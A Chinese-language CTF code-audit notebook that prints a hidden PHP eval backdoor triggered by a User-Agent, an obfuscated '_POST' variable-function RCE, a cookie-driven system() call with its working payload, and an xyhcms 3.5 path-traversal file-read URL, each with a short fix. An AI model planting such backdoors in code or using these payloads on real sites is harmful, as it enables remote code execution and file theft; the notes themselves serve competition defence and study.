代码审计笔记

随便看一下啊啊啊啊啊啊啊啊啊!

拿上回出去比赛的代码看一下!

ctrl + alt + 左右

1 首先就是预留后门了!

logs/.config.php

<?php
if (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){
eval($_POST[1]);
}
?>

2 命令执行 RCE

require_once("library/common.php");
common.php 文件中
审计 $foo = new Foo();
$funcname = "Variable";
$bb=${variable()}[variable()];
$foo->$funcname($bb);
?>

发现 !

$bb 是 ${_POST}[_POST]
Foo类里的Variable函数!返回值是system
达成rce
system(${_POST}[_POST])
function variable(){
$_='A';
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$b1=$_++;
$b2=$_;
$_++;$_++;$_++;
$b3=$_++;
$b4=$_;
$b='_'.$b2.$b1.$b3.$b4;
return $b;
}

咋修复呢!
$foo->$funcname($bb); 行代码去掉就行了!

3 RCE

normaliz.php
<?php
require_once("library/common.php");
require_once("library/view.php");
function action($post_data, $ip_replacement, $mail_replacement){
if($_SERVER['REMOTE_ADDR']=='127.0.0.1') {
foreach ($post_data as $key => $value) {
$$key = $value;
try {
if ($method == '/\\d+\\.\\d+\\.\\d+\\.\\d+/') {
$res = preg_replace($method, $ip_replacement, $source);
} else {
$prefix = $_POST['prefix'];
if(!isset($_POST['prefix']) or $prefix===""){
exit(0);
}
if(!preg_match('/[a-zA-Z0-9]/',$prefix)){
$res = $prefix.$_COOKIE['username']($_POST['method']);
}

}

} catch (Exception $e) {
write_log($e->getMessage());
$res = $source;
}
}
return $res;
}
}
$view_class = new View();
$data = array();
$data['page'] = 'normaliz';
$ip_replacement = '222.222.222.222';
$mail_replacement = 'lollol@lol.com';
$data['res'] = action($data, $ip_replacement, $mail_replacement);
$view_class->echoContent($data['page'], $data);
?>

$prefix = $_POST['prefix'];
if(!isset($_POST['prefix']) or $prefix===""){
exit(0);
}
if(!preg_match('/[a-zA-Z0-9]/',$prefix)){
$res = $prefix.$_COOKIE['username']($_POST['method']);
}
payload:
Cookie: username=system

prefix=@&method=dir
咋修复呢! 应该直接删了就行了! 删了不会影响程序!
$res = $prefix

应该就比赛时能用的就折磨多了!

国赛半决赛

web1

上来3个后门!

先改了!

经验的原因!
下回直接收一收 cms!
这个是【代码审计】xyhcms3.5后台任意文件读取
感觉http://127.0.0.1/xyhcms3.5/uploads_code/xyhai.php?s=/Templets/edit/fname/Li4vLi4vLi4vLi4vLi4vaW5kZXguaHRtbA==
这个任意文件读取肯定可以!